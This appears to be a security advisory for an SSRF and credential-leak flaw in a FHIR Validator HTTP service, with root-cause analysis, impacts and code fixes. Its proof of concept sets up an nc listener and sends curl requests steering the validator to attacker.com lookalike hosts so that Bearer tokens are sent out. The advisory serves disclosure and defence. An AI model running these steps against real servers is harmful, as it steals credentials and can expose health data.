CVE-2026-34361 — Vulnerability in...

## Summary The FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL. ## Details **Step 1 — SSRF Entry Point** (`LoadIGHTTPHandler.java:35-43`): The `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`: ```java // LoadIGHTTPHandler.java:43 engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true); // IgLoader.java:437 (fetchFromUrlSpecific) HTTPResult res = ManagedWebAccess.get(Arrays.asList("web"), source + "?nocache=" + System.currentTimeMillis()); ``` **Step 2 — Credential Leak via Prefix Matching** (`ManagedWebAccessUtils.java:14`): When `ManagedWebAccess` creates a `SimpleHTTPClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent: ```java // ManagedWebAccessUtils.java:14 if (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) { return serverDetails; } ``` If the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain. **Step 3 — Redirect Amplification** (`SimpleHTTPClient.java:84-99,111-118`): `SimpleHTTPClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage. ## PoC **Prerequisites:** A FHIR Validator HTTP server running with `fhir-settings.json` containing: ```json { "servers": [{ "url": "https://packages.fhir.org", "authenticationType": "token", "token": "ghp_SecretTokenForFHIRRegistry123" }] } ``` **Step 1:** Set up attacker credential capture server: ```bash # On attacker machine, listen for incoming requests nc -lp 80 > /tmp/captured_request.txt & # Register DNS: packages.fhir.org.attacker.com -> attacker IP ``` **Step 2:** Trigger the SSRF with prefix-matching URL: ```bash curl -X POST http://target-validator:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}' ``` **Step 3:** Verify credential capture: ```bash cat /tmp/captured_request.txt # Expected output includes: # GET /malicious-ig?nocache=... HTTP/1.1 # Authorization: Bearer ghp_SecretTokenForFHIRRegistry123 # Host: packages.fhir.org.attacker.com ``` **Redirect variant** (if direct prefix match isn't possible): ```bash # Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com/steal curl -X POST http://target-validator:8080/loadIG \ -H "Content-Type: application/json" \ -d '{"ig": "https://attacker.com/redirect"}' ``` ## Impact - **Credential theft**: Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server - **Supply chain attack**: Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers - **Data breach**: If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed - **Scope change (S:C)**: The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked ## Recommended Fix **Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils** (`ManagedWebAccessUtils.java`): ```java public static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url, Iterable<ServerDetailsPOJO> serverAuthDetails) { if (serverAuthDetails != null) { for (ServerDetailsPOJO serverDetails : serverAuthDetails) { for (String serverType : serverTypes) { if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())) { return serverDetails; } } } } return null; } private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) { try { URL req = new URL(requestUrl); URL srv = new URL(serverUrl); return req.getProtocol().equals(srv.getProtocol()) && req.getHost().equals(srv.getHost()) && req.getPort() == srv.getPort() && req.getPath().startsWith(srv.getPath()); } catch (MalformedURLException e) { return false; } } ``` **Fix 2 — URL allowlisting in LoadIGHTTPHandler** (`LoadIGHTTPHandler.java`): ```java // Add allowlist validation before loading private static final Set<String> ALLOWED_HOSTS = Set.of( "packages.fhir.org", "packages2.fhir.org", "build.fhir.org" ); private boolean isAllowedSource(String ig) { try { URL url = new URL(ig); return ALLOWED_HOSTS.contains(url.getHost()); } catch (MalformedURLException e) { return false; // Not a URL, could be a package reference } } ```